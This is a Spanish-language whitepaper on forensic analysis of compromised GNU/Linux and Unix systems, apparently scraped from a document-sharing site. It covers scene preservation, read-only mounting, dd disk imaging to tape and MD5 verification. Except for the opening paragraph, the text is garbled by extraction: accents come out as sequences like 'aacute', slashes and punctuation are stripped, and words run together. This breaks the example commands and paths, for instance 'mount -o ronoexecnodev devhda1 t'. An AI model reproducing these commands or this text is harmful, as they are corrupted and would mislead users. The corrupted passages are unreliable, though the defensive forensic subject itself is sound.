análisis forense de sistemas gnu/linux, unix

53
Análisis Forense de Sistemas GNU/Linux, Unix David Dittrich [email protected] Ervin Sarkisov [email protected] Copyright David Dittrich, Ervin Sarkisov. Se otorga permiso para copiar, distribuir y/o modificar este documento bajo los términos de la Licencia de Documentación Libre GNU, Versión 1.1 o cualquier otra versión posterior publicada por la Free Software Foundation. Puede consultar una copia de la licencia en: http://www.gnu.org/copyleft/fdl.html Miles servidores corporativos están siendo comprometidos diariamente, Gbytes de información privilegiada se transfieren cada día por los los canales de comunicación, las corporaciones informan de miles y millones de pérdidas. La mayoría de las investigaciones de casos similares, estén realizadas por parte de las empresas especializadas o por parte de las agencias gubernamentales, precisan un estudio forense previo para recoger todas las pruebas encontradas en los equipos y determinar los factores claves para reconstruir los hechos transcurridos, antes, durante y a posteriori del posible acceso no autorizado al sistema. Todo ese trabajo puede ser complicado por múltiples razones, siendo una analogía directa la ciencia forense tradicional en los casos criminales, dónde la escena del crimen es el servidor comprometido y cualquier equivocación o descuido puede causar la pérdida de información vital que podría desvelar algún hecho importante sobre el "la víctima", el "criminal", el "objetivo" o el "móvil". Los intrusos permanentemente mejoran sus técnicas, sean de acceso, ocultación de pruebas o de eliminación de huellas, siendo difícil, o en algunos casos imposible de reconstruir el 100% de los eventos ocurridos. Los forenses de hace varios años tienen dificultades adaptándose a las nuevas técnicas ya que no solo son necesarios los conocimientos de la materia sino experiencia en campos que tienen bastante poco que ver con la ciencia forense - ingeniería inversa, criptografía, programación en lenguajes de bajo nivel. Este artículo incluye descripción básica que permitirá al público general conocer el alcance y supuestos de ciencia informática forense, sus técnicas que podrán ser presentadas mejor a partir de un caso práctico de investigación. También estarán cubiertos temas como protección / des-protección de binarios cifrados bajo GNU/Linux, técnicas de realización de copias de seguridad byte por byte, sistemas de ficheros loopback y utilización de la herramienta universal del investigador forense informático TCT. Tabla de contenidos 1

Upload: vohanh

Post on 12-Feb-2017

249 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Análisis Forense de Sistemas GNU/Linux, Unix

Anaacutelisis Forense de SistemasGNULinux Unix

David Dittrich

dittrichcacwashingtoneduErvin Sarkisov

ervinsarkisovhispalinuxes

Copyright David Dittrich Ervin Sarkisov Se otorga permiso para copiar distribuir yo modificar este documento bajolos teacuterminos de la Licencia de Documentacioacuten Libre GNU Versioacuten 11 o cualquier otra versioacuten posterior publicadapor la Free Software Foundation Puede consultar una copia de la licencia en httpwwwgnuorgcopyleftfdlhtml

Miles servidores corporativos estaacuten siendo comprometidos diariamente Gbytes de informacioacuten privilegiada setransfieren cada diacutea por los los canales de comunicacioacuten las corporaciones informan de miles y millones de peacuterdidas

La mayoriacutea de las investigaciones de casos similares esteacuten realizadas por parte de las empresas especializadas o porparte de las agencias gubernamentales precisan un estudio forense previo para recoger todas las pruebas encontradasen los equipos y determinar los factores claves para reconstruir los hechos transcurridos antes durante y a posterioridel posible acceso no autorizado al sistema Todo ese trabajo puede ser complicado por muacuteltiples razones siendouna analogiacutea directa la ciencia forense tradicional en los casos criminales doacutende la escena del crimen es el servidorcomprometido y cualquier equivocacioacuten o descuido puede causar la peacuterdida de informacioacuten vital que podriacutea desvelaralguacuten hecho importante sobre el la viacutectima el criminal el objetivo o el moacutevil

Los intrusos permanentemente mejoran sus teacutecnicas sean de acceso ocultacioacuten de pruebas o de eliminacioacuten de huellassiendo difiacutecil o en algunos casos imposible de reconstruir el 100 de los eventos ocurridos Los forenses de hacevarios antildeos tienen dificultades adaptaacutendose a las nuevas teacutecnicas ya que no solo son necesarios los conocimientos dela materia sino experiencia en campos que tienen bastante poco que ver con la ciencia forense - ingenieriacutea inversacriptografiacutea programacioacuten en lenguajes de bajo nivel

Este artiacuteculo incluye descripcioacuten baacutesica que permitiraacute al puacuteblico general conocer el alcance y supuestos de cienciainformaacutetica forense sus teacutecnicas que podraacuten ser presentadas mejor a partir de un caso praacutectico de investigacioacutenTambieacuten estaraacuten cubiertos temas como proteccioacuten des-proteccioacuten de binarios cifrados bajo GNULinux teacutecnicasde realizacioacuten de copias de seguridad byte por byte sistemas de ficheros loopback y utilizacioacuten de la herramientauniversal del investigador forense informaacutetico TCT

Tabla de contenidos

1

1 Introduccioacuten 211 Organizacioacuten del Documento 212 Objetivos 313 Alcance y Supuestos 314 Indicaciones 415 Equipo Necesario 4

2 Objetivos TaacutecticosEstrateacutegicos 63 Congelacioacuten de la Escena del Crimen 74 Problemas con Recoleccioacuten de Informacioacuten 95 Almacenamiento de Pruebas 106 Preparacioacuten para el Anaacutelisis 107 Anaacutelisis con Herramientas Estaacutendar de Unix 198 The Coronerrsquos Toolkit 269 Usando TCT 2710 Ejemplo de Informe de Pruebas Encontradas 3011 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios 45

111 Introduccioacuten 45112 Meacutetodos de Proteccioacuten 46

12 Apeacutendice B - Sistema de Ficheros Loopback de Linux 48121 Conclusiones 50

13 Referencias 5014 Agradecimientos 53

1 IntroduccioacutenLa ciencia forense es metoacutedica y se basa en acciones premeditadas para reunir pruebas y analizarlas La tecnologiacuteaen caso de anaacutelisis forense en sistemas informaacuteticos son aplicaciones que hacen un papel importante en reunir lainformacioacuten y pruebas necesarias La escena del crimen es el ordenador y la red a la cual eacuteste estaacute conectado

11 Organizacioacuten del Documento

El documento pretende dar una vista global del trabajo de los analiacutestas forenses en los entornos GNULinux yiniciar a los administradores de sistemas en el mundo de ciencia forense informaacutetica a traveacutes de conceptos teoacutericosprocedimientos pre-establecidos de tratamiento de informacioacuten y casos praacutecticos El documento tambieacuten indica lamanera de montar un laboratorio forense el equipo necesario configuracioacuten de hardware y de software

A lo largo del trayecto trazado por este whitepaper se daraacute a conocer la problemaacutetica de algunos aspectos del anaacutelisiscomo congelacioacuten de la escena del crimen preparacioacuten y anaacutelisis a traveacutes de herramientas comuacutenes de GNULinux ycon utilidades especiacuteficas como TCT TASK etc Se mencionaraacuten teacutecnicas de duplicacioacuten de sistema de ficheros y sumontura en loopback y anaacutelisis

2

Teniendo en cuenta que cada diacutea los intrusos utilizan teacutecnicas maacutes y maacutes avanzadas de proteccioacuten de sus herramientastambieacuten cubriremos el tema de ocultacioacuten de propoacutesito de los binarios ELF a traveacutes de cifrado y ofuscacioacuten conBurneye yo otras utilidades

12 Objetivos

El objetivo de un anaacutelisis forense informaacutetico es realizar un proceso de buacutesqueda detallada para reconstruir a traveacutesde todos los medios el log de acontecimientos que tuvieron lugar desde el momento cuando el sistema estuvo en suestado integro hasta el momento de deteccioacuten de un acceso no autorizado

Esa tarea debe ser llevada acabo con maacutexima cautela aseguraacutendose que se conserva intacta a la mayor medida posiblela informacioacuten contenida en el disco de un sistema comprometido de forma similar que los investigadores policialesintentan mantener la escena del crimen intacta hasta que se recogen todas las pruebas posibles

El trabajo de un investigador forense es necesario para ofrecer un punto de partida fundamental para los investigadorespoliciales ofrecieacutendoles pistas soacutelidas asiacute como pruebas para su uso posterior

13 Alcance y Supuestos

Cada uno de los incidentes es uacutenico por lo tanto la involucraron de un investigador forense externo es diferente encada caso Algunas veces el trabajo puede estar limitado a colaborar con las agencias del gobierno como Departamentode Delitos Telemaacuteticos de Guardia Civil yo Brigada Investigacioacuten Tecnoloacutegica proporcionaacutendoles el equipo iacutentegropara que sea analizado en sus instalaciones y por sus expertos

Otras veces seraacute necesario previamente realizar una recoleccioacuten de informacioacuten del sistema informaacutetico analizarficheros log estudiar el sistema de ficheros (FS) del equipo comprometido y reconstruir la secuencia de eventos paratener una imagen clara y global del incidente

El anaacutelisis termina cuando el forense tiene conocimiento de como se produjo el compromiso (1) bajo que circunstan-cias (2) la identidad de posibles atacadores (3) su procedencia y origen (4) fechas de compromiso (5) objetivosdellos atacadores (6) asiacute como cuando ha sido reconstruida completamente la secuencia temporal de los eventos (7)

Cuando un investigador forense empieza el anaacutelisis de la situacioacuten nunca sabe con lo que va a enfrentarse Al principiopuede ser que no encuentre a simple vista ninguna huella ni prueba de que el equipo ha sido violado especialmentesi hay un rootkit [1] instalado en la maacutequina Puede encontrar procesos extrantildeos ejecutaacutendose con puertos abiertosTambieacuten es frecuente que vea una particioacuten ocupada 100 de su capacidad pero cuando la verifica a traveacutes de duel sistema muestra otro porcentaje de ocupacioacuten Puede encontrar una saturacioacuten de traacutefico de red desde un hostespeciacutefico Es posible encontrar aplicaciones que estaacuten consumiendo un porcentaje elevado de del CPU pero no hayaninguacuten indicio de un programa con ese nombre en el sistema de ficheros

3

Los pasos para empezar la investigacioacuten de un incidente son diferentes en cada caso El investigador debe tomardecisiones basaacutendose en su experiencia y el sexto sentido para llegar al fondo del asunto No es necesario seguirpasos determinados ni su orden es importante a veces

Puede que algunos pasos baacutesicos sean maacutes de lo que hace falta y tambieacuten puede ser que estos sean insuficientes parasolucionar el problema Los pasos baacutesicos pueden concluir en localizar todas las huellas y eventos que se produjeron

Y en supuestos los pasos baacutesicos no han desvelado la situacioacuten se debe recurrir a llevar acabo un anaacutelisis profundo ode-compilacioacuten de las aplicaciones encontradas durante la buacutesqueda Estas aplicaciones pueden ser escritas totalmentedesde cero y protegidas pero en la mayoriacutea de los casos son aplicaciones utilizadas de forma comuacuten que circulan porla red esteacuten o no esteacuten protegidas Cuando hablamos de proteccioacuten de ficheros podemos hablar sobre teacutecnicas deconfusioacuten ofuscacioacuten y compresioacuten (Ver apeacutendice A para detalles)

14 Indicaciones

En vez de utilizar a rajatabla el orden de los procedimientos que fueron establecidos por otros analistas forensesse debe considerarlos como recursos y el orden necesario en cada caso puede variar Una vez aprendidas teacutecnicasgenerales se podraacute combinarlos con la experiencia y crear sus propios trucos en un futuro Es como ser un cocineroque utiliza el libro de recetas para preparar sus platos y con experiencia modifica las recetas para obtener un platouacutenico

La persona que ha descubierto el incidente debe asegurarse que hay maacutexima informacioacuten intacta posible para que elinvestigador forense pueda realizar su trabajo con eacutexito ya que la informacioacuten encontrada dentro del sistema registrala historia real de lo que ha sucedido

Hay solo una uacutenica cosa que es comuacuten para cada investigacioacuten forense y no es suficiente repetirla siempre Se debetener a mano un cuaderno y un boliacutegrafo para apuntar inmediatamente todos los pasos que efectuacutea durante el procesode investigacioacuten Tambieacuten se debe recordar (y apuntar) que los pasos para preservar y reunir las evidencias deben serefectuadas con lentitud precaucioacuten metoacutedica y pensaacutendolo dos veces antes de hacer cualquier cosa ya que cualquiererror puede llevar consigo consecuencias como peacuterdida de pruebas

Tener el cuaderno con las notas a mano puede ser necesario para refrescar la memoria varios meses despueacutes de lainvestigacioacuten cuando llegue la hora de testificar en una sala de juicio (si el caso llega a estos extremos)

Las notas tambieacuten ayudaraacuten a calcular de forma maacutes precisa las peacuterdidas sufridas por la empresa evitando estimacionesexageradas que suelen producirse durante los casos criminales por parte de empresas afectadas abogados e otrosterceros

15 Equipo Necesario

4

Aunque existan distribuciones de Linux que incorporan directamente utilidades forenses en su instalacioacuten se utilizoacute ladistro que no las incorporaba ya que la instalacioacuten de estas herramientas por defecto a veces causa problemas Mientrasque si se utiliza cualquier distro como RedHat Debian el analista puede configurar el software seguacuten sus preferencias

Referente a las teacutecnicas de anaacutelisis forense descritas a continuacioacuten asumo que utiliza un sistema operativo RedHatLinux i386 sobre cualquier placa madre compatible con Intel Estas teacutecnicas son casi ideacutenticas para cualquierade las versiones o distribuciones de GNULinux oacute Unix pero algunas caracteriacutesticas de i386 pueden variar de unservidor a otro (ejemplo utilizacioacuten de controladores IDE limitaciones de PC BIOS etc) Consulte manuales deadministracioacuten y seguridad de sistema de su distribucioacuten de GNULinux

Equipo Principal - Es preciso tener un sistema dedicado propio para poder hacer el anaacutelisis sin tener interrupcionespor procesos de otros usuarios ni estar vulnerable a los ataques de limpieza [2] Un ejemplo de configuracioacuten de unlaboratorio forense puede ser siguiente

bull Un equipo con una placa compatible i386 con 2 tarjetas controladoras IDE

bull Por lo menos 2 discos duros gt 8Gb sobre el controlador IDE principal (para almacenar el sistema operativoy herramientas maacutes espacio para poder copiar las particiones salvadas desde la cinta y espacio adicional pararecuperar la informacioacuten borrada desde discos duros)

bull Un segundo controlador IDE sin utilizar Eso significa que no deberaacute mezclarse con modificacioacuten de configu-raciones de hardware de los discos Simplemente enchufelos y apareceraacuten como devhdc (master) oacute devhdd(slave)

bull Tarjeta de interfaz SCSI (eg Adaptec 1542)

bull Dispositivos de cinta DDS-3 oacute DDS-4 4mm (se necesita bastante capacidad para almacenar informacioacuten de lasparticiones grandes)

bull Si el sistema estaacute conectado a una red deberaacute ser perfectamente parcheado y no tener ninguacuten servicio de redfuncionando salvo SSH (para acceso remoto y transferencia de ficheros) RedHat Linux 73 con Bastille Linux 20BETA es muy buena opcioacuten (Combinacioacuten utilizada en el lab de Activa Link)

5

Equipo Moacutevil - Otro sistema de anaacutelisis es un nuevo portaacutetil El buen meacutetodo de llevar el laboratorio hasta elsistema accidentado es un portaacutetil con tarjeta eth 10100 disco duro de maacutes de 18-20 Gb - suficiente espacioque permitiraacute almacenar toda la informacioacuten de imaacutegenes del sistema de ficheros (estas imaacutegenes deberiacutean luegoalmacenarse en cintas) para ser analizadas visualizar los resultados craquear las contrasentildeas crypt() del intruso quepuede posiblemente encontrar y una mochila

Un cable 10Base-T normal y uno cruzado permitiraacute conectarse con un hub switch o directamente al cadaacutever ytodaviacutea utilizar la red para comunicarse con el sistema viacutectima sobre una mini-red aislada de 2 estaciones de trabajoPara ello necesitaraacute establecer una ruta estaacutetica en la tabla de rutas o configurar reglas de bridging (seraacute maacutes faacutecil sise desconecta la maacutequina hackeada del resto de la red)

Un equipo de anaacutelisis funcionando bajo GNULinux seraacute suficiente para analizar sistemas de ficheros diferentes perosoportados como por ejemplo Sun UFS Se podraacute simplemente montar el sistema de fichero emitiendo el comandomount con la opcioacuten particular (ver paacutegina man del mount)

Ejemplo

[rootquestactivalinkcom] mount -r -t ufs -o ufstype=sun devhdd2 mnt

Otra ventaja de GNULinux para investigadores forenses es la capacidad del interfaz loopback que permite montarun fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estacioacuten de anaacutelisis(Ver el apeacutendice B para detalles)

2 Objetivos TaacutecticosEstrateacutegicosEl objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intrusocomprender los meacutetodos utilizados para acceder a estos sistemas los objetivos del intruso y la actividad que hadesempentildeado durante su estancia dentro del sistema comprometido La informacioacuten obtenida tiene que ser compartidacon el resto de los miembros del equipo forense a fin de evitar la peacuterdida de informacioacuten Tambieacuten es el objetivo delinvestigador la proteccioacuten del estado de sitio contra modificaciones para evitar peacuterdidas de informacioacuten (pruebas)

Posible persecucioacuten - es un objetivo secundario pero como he dicho anteriormente para un investigador forense sutrabajo primario es preservar lo maacutes iacutentegramente posible las evidencias del crimen en un estado iacutentegro Eso significaponer el sistema fuera de servicio cuando todo el mundo estaacute presionando para volver a ponerlo on-line

Si el sistema por parte del administrador fue forzado a seguir funcionando eliminando las posibles vulnerabilidadeso cualquier otra supuesta viacutea de acceso al servidor la investigacioacuten forense no podraacute seguir el rumbo correcto ya que

1Se eliminariacutea cualquier posibilidad de persecucioacuten del intruso en un futuro ya que se modifica la escena delcrimen y no se podriacutea calcular los dantildeos estimados con un grado elevado de certeza

6

2Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos)siguen teniendo acceso al sistema Por lo tanto es mejor sufrir un downtime de red mientras que se realiza elanaacutelisis forense del sistema

Se tiene que establecer una prioridad entre

1Funcionamiento inmediato teniendo presente que las huellas dejadas por ellos intrusos pueden haberse elimi-nado por descuido del administrador y su equipo y que el servidor puede seguir teniendo puertas traseras bienocultas Esta opcioacuten permite estar operativo en poco tiempo

2 Investigacioacuten forense detallada que permite conseguir los objetivos mencionados en la seccioacuten 1a del capiacutetuloIntroduccioacuten asegurarse 100 de que el equipo estaacute seguro y recoger pruebas suficientes para poder iniciar eltraacutemite legal Esta opcioacuten supone un mayor tiempo de permanencia off-line si no existen planes de contingenciay procedimientos para la recuperacioacuten del servicio

Asumiendo que el anaacutelisis es una prioridad iquestcuaacuteles son los siguientes pasos

3 Congelacioacuten de la Escena del CrimenUna vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado y que no existanpruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por poralguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment) tiene que considerar queefectivamente el sistema ha sido violado Desde aqueacutel momento es necesario tener maacuteximo cuidado para evitar quese produzca cualquier alteracioacuten de la escena del crimen

Hay varios tipos de pruebas que oculta el sistema con diferentes niveles de volatilidad en lugares como registros delprocesador estructura de datos en la memoria swap estructuras de datos de red contadores procesos de usuario enmemoria y stacks cache del file system el file system y etc

Seraacute muy difiacutecil o casi imposible de reunir toda esa informacioacuten en el preciso momento que el intruso estaacute operandopor lo tanto necesitamos prescindir de ella y reunir aquella informacioacuten que se recoge con mayor facilidad antes dellegada de un especialista forense que determinaraacute el meacutetodo de entrada actividad de intrusos identidad y origende intrusos duracioacuten de compromiso posiblemente lo bastante para localizarles) En otras palabras iquestCoacutemo iquestQueacuteiquestQuieacuten iquestDe doacutende iquestCuando

La opcioacuten maacutes faacutecil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento

Normalmente los sistemas Unix se cierran con el comando shutdown Eso se hace para asegurarse que todos losservicios han finalizado de forma limpia todos los ficheros cache y buffers de sistemas estaacuten flusheados y los usuariosestaacuten notificados Este procedimiento es perfecto para sistemas intactos pero en un sistema afectado esa accioacutenlo maacutes seguro que borre alguna informacioacuten de intereacutes Hubo casos cuando los intrusos programaban sistemas para

7

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

A partir de este listado podemos sacar una buena conclusioacuten que la particioacuten devhdd2 era particioacuten root y devhdd4era algo parecido a usr o home No puede decir cual de las dos es en este paso pero se puede ver el fichero salvadoetcfstab o alternativamente montarla particioacuten y examinar su contenido

12

En caso de que hayamos hecho una imagen de la particioacuten debemos restaurarla para su estudio posterior

c Se generan los checksums de integridad de particiones con MD5 del disco original y sus imaacutegenes para verificar sicoinciden

Nota Asumimos que tenemos un dispositivo de cinta en devst0 y el dispositivo non-rewind estaacute en devnst0El tamantildeo del bloque normalmente 512 bytes puede que no sea el valor maacutes eficaz para su dispositivo de cintasConsulte la documentacioacuten de su dispositivo y determine el factor oacuteptimo (frecuentemente entre 8198 y 32767)

Los siguientes ejemplos utilizaraacuten el valor por defecto para evitar complicaciones

El comando mt se utiliza para saltar volver atraacutes en un fichero para luego verificar su checksum MD5 Hay que estarseguro que se utiliza dispositivo non-rewind ya que a la hora de saltar de una imagen de fichero a otra podriacuteamossobrescribir informacioacuten sobre la cinta y perder informacioacuten Tambieacuten hay que asegurarse que no hacemos ninguacutenerror con paraacutemetros if= y of= - opciones del comando dd ya que podraacute destruir informacioacuten sobre el disco confacilidad (Ver man mt y man dd luego practique escribiendoleyendo muacuteltiples ficheros ade la cinta antes de hacercualquier accioacuten con los datos importantes)

Ejemplo

dateMon Jun 19 120022 PDT 2000

md5sum devhdd27b8af7b2224f0497da808414272e7af4 devhdd2

mt statusSCSI 2 tape driveFile number=0 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (41010000)

BOT ONLINE IM_REP_EN

dd if=devhdd2 of=devnst02457944+0 records in2457944+0 records out

13

mt bsf 1

dd if=devst0 | md5sum2457944+0 records in2457944+0 records out7b8af7b2224f0497da808414272e7af4 -

mt statusSCSI 2 tape driveFile number=1 block number=0 partition=0Tape block size 512 bytes Density code 0x13 (DDS (61000 bpi))Soft error count since last status=0General status bits on (81010000)EOF ONLINE IM_REP_EN

Marque la cinta con una etiqueta que contiene nombre del sistema violado particiones y correspondientes MD5 susiniciales y la fecha

